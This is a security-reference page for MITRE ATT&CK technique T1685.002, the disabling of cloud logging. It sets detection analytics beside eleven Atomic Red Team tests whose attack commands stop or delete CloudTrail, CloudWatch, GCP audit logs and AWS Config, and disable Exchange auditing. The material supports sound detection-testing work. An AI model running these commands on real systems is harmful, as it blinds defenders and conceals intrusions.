tfMITRE ATT&CK sub-technique

Disable or Modify Cloud Log T1685.002

sub-technique of T1685 Disable or Modify Tools

Tactic: Defense Impairment
Platforms: IaaS, SaaS, Identity Provider, Office Suite
Version: 1.0
Created: 14 April 2026
Last modified: 12 May 2026
Contributors: Alex Soler, AttackIQ; Arun Seelagan, CISA; Ibrahim Ali Khan; Janantha Marasinghe; Joe Gumke, U.S. Bank; Matt Snyder, VMware; Prasad Somasamudram, McAfee; Sekhar Sarukkai, McAfee; Syed Ummar Farooqh, McAfee

An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups45th pct

Threat groups45th percentile · 55% of ATT&CK techniques have more threat groups attributed.

CampaignsNone recorded

CampaignsNone recorded · 54% of ATT&CK techniques have none either.

Tools & malware44th pct

Tools & malware44th percentile · 56% of ATT&CK techniques have more tools implementing them.

Detection rulesTop 12%

Detection rules88th percentile · 88% of ATT&CK techniques have this many detection rules written or fewer.

Disable or Modify Cloud Log MITRE reference T1685.002

45th pctamong all ATT&CK techniques for number of groups

1 group has been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

APT29G0016 ↗

Has disabled Purview Audit on targeted accounts prior to stealing emails from Microsoft 365 tenants.1

created 2017-05-311 referenceaka IRON RITUAL

All 1 groups for this technique

Offense vs defense T1685.002

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 0Sigma rules (cumulative) · 3Splunk ESCU (cumulative) · 19

first rule: 2020 Q1

Disable or Modify Cloud Log detection strategy DET0289

MITRE names one behaviour worth catching for this technique and breaks it into 4 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for Disable or Modify Cloud Log

Enterprise

4 platforms

AN0801 · IaaS

Cloud API events where logging services are stopped, deleted, or modified in a way that disables audit visibility. Defender view: unauthorized StopLogging, DeleteTrail, or UpdateSink operations correlated with privileged user activity.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Cloud Service ModificationDC0069	gcp:config	UpdateSink request modifying log export destinations
Cloud Service DisableDC0090	AWS:CloudTrail	Stop logging for an existing CloudTrail

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
AdminRoles	Define which roles are authorized to stop or modify logging.
RegionScope	Adjust monitoring to ensure multi-region logging tampering is caught.

AN0802 · Identity Provider

Disabling or modifying sign-in or audit log collection for user activities. Defender view: policy or configuration updates removing logging coverage for critical accounts.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Cloud Service ModificationDC0069	azure:policy	DisableAuditLogs or ConditionalAccess logging changes

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
CriticalAccounts	Tune to prioritize logging changes that affect administrative or high-value accounts.

AN0803 · Office Suite

Disabling mailbox or tenant-level audit logging, often using Set-MailboxAuditBypassAssociation or downgrading license tiers. Defender view: sudden absence of mailbox activity logging for monitored users.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
User Account ModificationDC0010	m365:unified	Set-MailboxAuditBypassAssociation or disabling Advanced Auditing

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
UserScope	Tune alerts for users where mailbox auditing should always remain enabled.

AN0804 · SaaS

Disabling or altering security and audit logs in SaaS admin panels (e.g., Slack, Zoom, Salesforce). Defender view: API calls or admin console changes that stop event exports or logging integrations.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Cloud Service DisableDC0090	saas:audit	Log export integration removed or disabled

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
IntegrationScope	Define which SaaS log integrations are required and alert if removed.

Tests11Executorssh 8 · PowerShell 3Need elevation0 of 11Have prerequisites11Have cleanup8Platformsiaas:aws, iaas:azure, office-365, linux, macos, iaas:gcp

# Test Platform Executor Elevation Prereqs Cleanup Ref

01 AWS - CloudTrail Changes iaas:aws sh — 3 Yes

Creates a new cloudTrail in AWS, Upon successful creation it will Update,Stop and Delete the cloudTrail

Input arguments

Name	Type	Default	Description
region	string	us-east-1	Name of the region
s3_bucket_name	string	redatomic-test	Name of the bucket
cloudtrail_name	string	redatomictesttrail	Name of the cloudTrail

Attack command

aws cloudtrail update-trail --name #{cloudtrail_name} --s3-bucket-name #{s3_bucket_name}  --is-multi-region-trail --region #{region}
aws cloudtrail stop-logging --name #{cloudtrail_name} --region #{region}
aws cloudtrail delete-trail --name #{cloudtrail_name} --region #{region}

Cleanup command

cd "$PathToAtomicsFolder/T1685.002/src/T1685.002-1/"
terraform destroy -auto-approve

Prerequisite

Check if ~/.aws/credentials file has a default stanza is configured

Check

cat ~/.aws/credentials | grep "default"

Satisfy

echo Please install the aws-cli and configure your AWS default profile using: aws configure

Prerequisite

Check if terraform is installed.

Check

terraform version

Satisfy

echo Please install the terraform and configure your aws default profile

Prerequisite

Check if the dependency resources are already present.

Check

if [ -f "$PathToAtomicsFolder/T1685.002/src/T1685.002-1/terraform.tfstate" ]; then exit 0; else exit 1; fi;

Satisfy

cd "$PathToAtomicsFolder/T1685.002/src/T1685.002-1/"
terraform init
terraform apply -auto-approve

GUID1389efc6-377a-4110-9e04-ff6c391481b0

02 Azure - Eventhub Deletion iaas:azure PowerShell — 4 Yes

Identifies an Event Hub deletion in Azure. An Event Hub is an event processing service that ingests and processes large volumes of events and data. An adversary may delete an Event Hub in an attempt to evade detection. https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about.

Input arguments

Name	Type	Default	Description
password	string	—	Azure password
username	string	—	Azure username
event_hub_name	string	test_eventhub	Name of the eventhub
resource_group	string	—	Name of the resource group
name_space_name	string	—	Name of the NameSpace

Attack command

$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-AzureAD -Credential $creds
Remove-AzEventHub -ResourceGroupName #{resource_group} -Namespace #{name_space_name} -Name #{event_hub_name}

Cleanup command

cd "$PathToAtomicsFolder/T1685.002/src/T1685.002-2/"
terraform destroy -auto-approve

Prerequisite

Install-Module -Name Az

Check

try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

Satisfy

Install-Module -Name AzureAD -Force

Prerequisite

Check if terraform is installed.

Check

terraform version

Satisfy

echo Please install the terraform.

Prerequisite

Check if the user is logged into Azure.

Check

az account show

Satisfy

echo Configure your Azure account using: az login.

Prerequisite

Create dependency resources using terraform

Check

try {if (Test-Path "$PathToAtomicsFolder/T1685.002/src/T1685.002-2/terraform.tfstate" ){ exit 0 } else {exit 1}} catch {exit 1}

Satisfy

cd "$PathToAtomicsFolder/T1685.002/src/T1685.002-2/"
terraform init
terraform apply -auto-approve

GUIDf67c7086-735b-4c96-95b1-e2a815703972

03 Office 365 - Exchange Audit Log Disabled office-365 PowerShell — 1 Yes

You can use the Exchange Management Shell to enable or disable mailbox audit logging for a mailbox. Unified or Admin Audit logs are disabled via the Exchange Powershell cmdline. https://github.com/Azure/Azure-Sentinel/blob/master/Detections/OfficeActivity/exchange_auditlogdisabled.yaml

Input arguments

Name	Type	Default	Description
password	string	—	office-365 password
username	string	—	office-365 username

Attack command

$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $False

Cleanup command

$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $True

Prerequisite

ExchangeOnlineManagement PowerShell module must be installed

Check

$RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}

Satisfy

Install-Module -Name ExchangeOnlineManagement         
Import-Module ExchangeOnlineManagement

GUID9fd1d068-6a95-45fe-9efb-30c1bc3872cc

04 AWS - Disable CloudTrail Logging Through Event Selectors using Stratus linux, macos, iaas:aws sh — 2 Yes

Update event selectors in AWS CloudTrail to disable the logging of certain management events to evade defense. This Atomic test leverages a tool called Stratus-Red-Team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/

Input arguments

Name	Type	Default	Description
aws_region	string	us-west-2	AWS region to detonate
stratus_path	path	$PathToAtomicsFolder/T1685.002/src	Path of stratus binary

Attack command

export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.defense-evasion.cloudtrail-event-selectors
echo "starting detonate"
./stratus detonate aws.defense-evasion.cloudtrail-event-selectors --force

Cleanup command

export AWS_REGION=#{aws_region}
echo "Cleanup detonation"
cd #{stratus_path}
./stratus cleanup --all
rm -rf stratus*

Prerequisite

Stratus binary must be present at the (#{stratus_path}/stratus)

Check

if [ -f #{stratus_path}/stratus ]; then exit 0; else exit 1; fi;

Satisfy

if [ "$(uname)" == "Darwin" ]
then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL
  tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/
elif [ "$(expr substr $(uname) 1 5)" == "Linux" ]
then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep linux_x86_64 | cut -d '"' -f 4) 
  wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL
  tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/
fi

Prerequisite

Check if ~/.aws/credentials file has a default stanza is configured

Check

cat ~/.aws/credentials | grep "default"

Satisfy

echo Please install the aws-cli and configure your AWS defult profile using: aws configure

GUID880d648a-4f2a-48bd-b22f-4fdb32c2afc9

05 AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus linux, macos, iaas:aws sh — 2 Yes

This Atomic test will use the Stratus Red Team will first setup a CloudTrail logging into an S3 bucket and will then make an API call to update the lifecycle rule on that S3 bucket with an expiration date of 1 day. This will essentially delete all the logs after one day. Adversaries often do this actiivity to evade detection. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/

Input arguments

Name	Type	Default	Description
aws_region	string	us-west-2	AWS region to detonate
stratus_path	path	$PathToAtomicsFolder/T1685.002/src	Path of stratus binary

Attack command

export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.defense-evasion.cloudtrail-lifecycle-rule
echo "starting detonate"
./stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule --force

Cleanup command

export AWS_REGION=#{aws_region}
echo "Cleanup detonation"
cd #{stratus_path}
./stratus cleanup --all
rm -rf stratus*

Prerequisite

Stratus binary must be present at the (#{stratus_path}/stratus)

Check

if [ -f #{stratus_path}/stratus ]; then exit 0; else exit 1; fi;

Satisfy

if [ "$(uname)" == "Darwin" ]
then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL
  tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/
elif [ "$(expr substr $(uname) 1 5)" == "Linux" ]
then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep linux_x86_64 | cut -d '"' -f 4) 
  wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL
  tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/
fi

Prerequisite

Check if ~/.aws/credentials file has a default stanza is configured

Check

cat ~/.aws/credentials | grep "default"

Satisfy

echo Please install the aws-cli and configure your AWS defult profile using: aws configure

GUID6cc04823-0cad-471c-a0ef-6d9313cb4f5b

06 AWS - Remove VPC Flow Logs using Stratus linux, macos, iaas:aws sh — 2 Yes

This Atomic will attempt to remove AWS VPC Flow Logs configuration. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.vpc-remove-flow-logs/

Input arguments

Name	Type	Default	Description
aws_region	string	us-west-2	AWS region to detonate
stratus_path	path	$PathToAtomicsFolder/T1685.002/src	Path of stratus binary

Attack command

export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.defense-evasion.vpc-remove-flow-logs
echo "starting detonate"
./stratus detonate aws.defense-evasion.vpc-remove-flow-logs --force

Cleanup command

export AWS_REGION=#{aws_region}
echo "Cleanup detonation"
cd #{stratus_path}
./stratus cleanup --all
rm -rf stratus*

Prerequisite

Stratus binary must be present at the (#{stratus_path}/stratus)

Check

if [ -f #{stratus_path}/stratus ]; then exit 0; else exit 1; fi;

Satisfy

if [ "$(uname)" == "Darwin" ]
then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep Darwin_x86_64 | cut -d '"' -f 4); wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL
  tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/
elif [ "$(expr substr $(uname) 1 5)" == "Linux" ]
then DOWNLOAD_URL=$(curl -s https://api.github.com/repos/DataDog/stratus-red-team/releases/latest | grep browser_download_url | grep linux_x86_64 | cut -d '"' -f 4) 
  wget -q -O #{stratus_path}/stratus-red-team-latest.tar.gz $DOWNLOAD_URL
  tar -xzvf #{stratus_path}/stratus-red-team-latest.tar.gz --directory #{stratus_path}/
fi

Prerequisite

Check if ~/.aws/credentials file has a default stanza is configured

Check

cat ~/.aws/credentials | grep "default"

Satisfy

echo Please install the aws-cli and configure your AWS defult profile using: aws configure

GUID50c2bfd8-c145-403b-94e0-2d06f33595e4

07 AWS - CloudWatch Log Group Deletes iaas:aws sh — 1 —

Creates a new cloudWatch log group in AWS, Upon successful creation it will Delete the group. Attackers can use this technique to evade defenses by deleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-group-deletion.html#aws-cloudwatch-log-group-deletion

Input arguments

Name	Type	Default	Description
region	string	us-east-1	Name of the region
cloudwatch_log_group_name	string	log-test	Name of the cloudWatch log group

Attack command

aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Created ***"
aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Deleted ***"

Prerequisite

Check if ~/.aws/credentials file has a default stanza is configured

Check

cat ~/.aws/credentials | grep "default"

Satisfy

echo Please install the aws-cli and configure your AWS defult profile using: aws configure

GUIDe3e32691-2bd6-4b0d-8df5-b4a7b78a04bc

08 AWS CloudWatch Log Stream Deletes iaas:aws sh — 1 —

Creates a new cloudWatch log stream in AWS, Upon successful creation it will Delete the stream. Attackers can use this technique to evade defenses by deleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-stream-deletion.html

Input arguments

Name	Type	Default	Description
region	string	us-west-2	Name of the region
cloudwatch_log_group_name	string	test-logs	Name of the cloudWatch log group
cloudwatch_log_stream_name	string	20150601	Name of the cloudWatch log stream

Attack command

aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Created ***"
aws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} --region #{region}
echo "*** Log Stream Created ***"
aws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} --region #{region}
echo "*** Log Stream Deleted ***"
aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Deleted ***"

Prerequisite

Check if ~/.aws/credentials file has a default stanza is configured

Check

cat ~/.aws/credentials | grep "default"

Satisfy

echo Please install the aws-cli and configure your AWS defult profile using: aws configure

GUID4dc483b1-3140-4cca-95ce-c085830bec16

09 Office 365 - Set Audit Bypass For a Mailbox office-365 PowerShell — 1 Yes

Use Exchange Management Shell to Mailbox auditing to bypass. It will prevent any mailbox audit logging entries being generated for the target e-mail box. https://learn.microsoft.com/en-us/powershell/module/exchange/set-mailboxauditbypassassociation?view=exchange-ps

Input arguments

Name	Type	Default	Description
password	string	o365_password_test	office-365 password
username	string	o365_user_test	office-365 username
target_email	string	o365_email_test	office-365 target_email

Attack command

$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Set-MailboxAuditBypassAssociation -Identity "#{target_email}" -AuditBypassEnabled $true

Cleanup command

$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Set-MailboxAuditBypassAssociation -Identity "#{target_email}" -AuditBypassEnabled $false
Disconnect-ExchangeOnline -Confirm:$false

Prerequisite

ExchangeOnlineManagement PowerShell module must be installed

Check

$RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}

Satisfy

Install-Module -Name ExchangeOnlineManagement         
Import-Module ExchangeOnlineManagement

GUID4c50a8de-3384-4b00-96cf-90e5b98c17cf

10 GCP - Delete Activity Event Log iaas:gcp sh — 2 —

GCP provides 4 types of Cloud Audit Logs: Admin Activity, Data Access, System Events, and Policy Denied. An adversary may attempt to delete logs in order to hide their activity. However, Admin Activity, System Events, and Policy Deny events logs cannot be deleted. This Atomic attempts to delete the Activity Event log. An event is generated under the method name of google.logging.v2.LoggingServiceV2.DeleteLog with a Serverity of ERROR.

Input arguments

Name	Type	Default	Description
project-id	string	atomic-project-1	ID of the GCP Project you to execute the command against.

Attack command

gcloud config set project #{project-id}
gcloud logging logs delete projects/#{project-id}/logs/cloudaudit.googleapis.com%2Factivity --quiet

Prerequisite

Requires gcloud

Check

if [ -x "$(command -v gcloud)" ]; then exit 0; else exit 1; fi;

Satisfy

echo "Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install"

Prerequisite

Check if user is logged in

Check

gcloud config get-value account

Satisfy

gcloud auth login --no-launch-browser

GUID6c5d46cb-4402-47c5-bf3f-281cbb522aeb

11 AWS - Config Logs Disabled iaas:aws sh — 2 Yes

Disables AWS Config by stopping the configuration recorder, deleting the delivery channel, and deleting the configuration recorder. An attacker with sufficient permissions can use this to stop configuration change recording and avoid detection of subsequent activity.

Input arguments

Name	Type	Default	Description
region	string	us-west-2	Name of the region
delivery_channel_name	string	redatomictestdeliverychannel	Name of the delivery channel
configuration_recorder_name	string	redatomictestconfigurationrecorder	Name of the configuration recorder

Attack command

aws configservice stop-configuration-recorder --configuration-recorder-name #{configuration_recorder_name} --region #{region}
echo "*** Configuration recorder stopped ***"
aws configservice delete-delivery-channel --delivery-channel-name #{delivery_channel_name} --region #{region}
echo "*** Delivery channel deleted ***"
aws configservice delete-configuration-recorder --configuration-recorder-name #{configuration_recorder_name} --region #{region}
echo "*** Configuration recorder deleted ***"

Cleanup command

aws configservice list-configuration-recorders --region us-west-2

Prerequisite

Check if ~/.aws/credentials file has a default stanza is configured

Check

cat ~/.aws/credentials | grep "default"

Satisfy

echo Please install the aws-cli and configure your AWS default profile using: aws configure

Prerequisite

Check if terraform is installed.

Check

terraform version

Satisfy

echo Please install terraform and configure your AWS default profile

GUIDb6c5b391-2457-4275-9649-dd663ae5a5de

Tests from Atomic Red Team (MIT licence) · technique definition

Disable or Modify Cloud Log detections T1685.002

22 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 12%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs